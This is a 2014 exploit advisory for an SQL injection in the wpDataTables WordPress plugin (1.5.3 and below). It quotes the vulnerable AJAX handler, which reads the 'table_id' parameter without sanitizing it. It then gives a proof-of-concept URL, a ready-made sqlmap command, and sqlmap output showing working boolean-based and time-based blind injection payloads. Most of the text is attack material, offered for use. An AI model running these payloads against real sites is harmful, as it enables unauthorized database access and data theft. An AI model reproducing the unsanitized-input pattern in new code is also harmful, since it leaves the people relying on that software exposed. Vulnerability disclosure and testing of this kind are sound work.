WordPress Plugin wpDataTables 1.5.3 – SQL Injection
###################### # Exploit Title : Wordpress wpDataTables 1.5.3 and below SQL Injection Vulnerability # Exploit Author : Claudio Viviani # Software Link : http://wpdatatables.com (Premium) # Date : 2014-11-22 # Tested on : Windows 7 / Mozilla Firefox Windows 7 / sqlmap (0.8-1) Linux / Mozilla Firefox Linux / sqlmap 1.0-dev-5b2ded0 ###################### # Description Wordpress wpDataTables 1.5.3 and below suffers from SQL injection vulnerability "table_id" variable is not sanitized. File: wpdatatables.php ------------------------ // AJAX-handlers add_action( 'wp_ajax_get_wdtable', 'wdt_get_ajax_data' ); add_action( 'wp_ajax_nopriv_get_wdtable', 'wdt_get_ajax_data' ); /** * Handler which returns the AJAX response */ function wdt_get_ajax_data(){ $id = $_GET['table_id']; <------------------- Not Sanitized! $table_data = wdt_get_table_by_id( $id ); $column_data = wdt_get_columns_by_table_id( $id ); $column_headers = array(); $column_types = array(); $column_filtertypes = array(); $column_inputtypes = array(); foreach($column_data as $column){ $column_order[(int)$column->pos] = $column->orig_header; if($column->display_header){ $column_headers[$column->orig_header] = $column->display_header; } if($column->column_type != 'autodetect'){ $column_types[$column->orig_header] = $column->column_type; }else{ $column_types[$column->orig_header] = 'string'; } $column_filtertypes[$column->orig_header] = $column->filter_type; $column_inputtypes[$column->orig_header] = $column->input_type; } ------------------------ (The vulnerable variable is located in others php files) ###################### # PoC http://TARGET/wp-admin/admin-ajax.php?action=get_wdtable&table_id=1 [Sqli] # Sqlmap sqlmap -u "http://TARGET/wp-admin/admin-ajax.php?action=get_wdtable&table_id=1" -p table_id --dbms mysql --- Parameter: table_id Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: action=get_wdtable&table_id=1 AND 9029=9029 Type: AND/OR time-based blind Title: MySQL > 5.0.11 AND time-based blind Payload: action=get_wdtable&table_id=1 AND SLEEP(5) --- ##################### Discovered By : Claudio Viviani http://www.homelab.it info@homelab.it homelabit@protonmail.ch https://www.facebook.com/homelabit https://twitter.com/homelabit https://plus.google.com/+HomelabIt1/ https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww ##################### |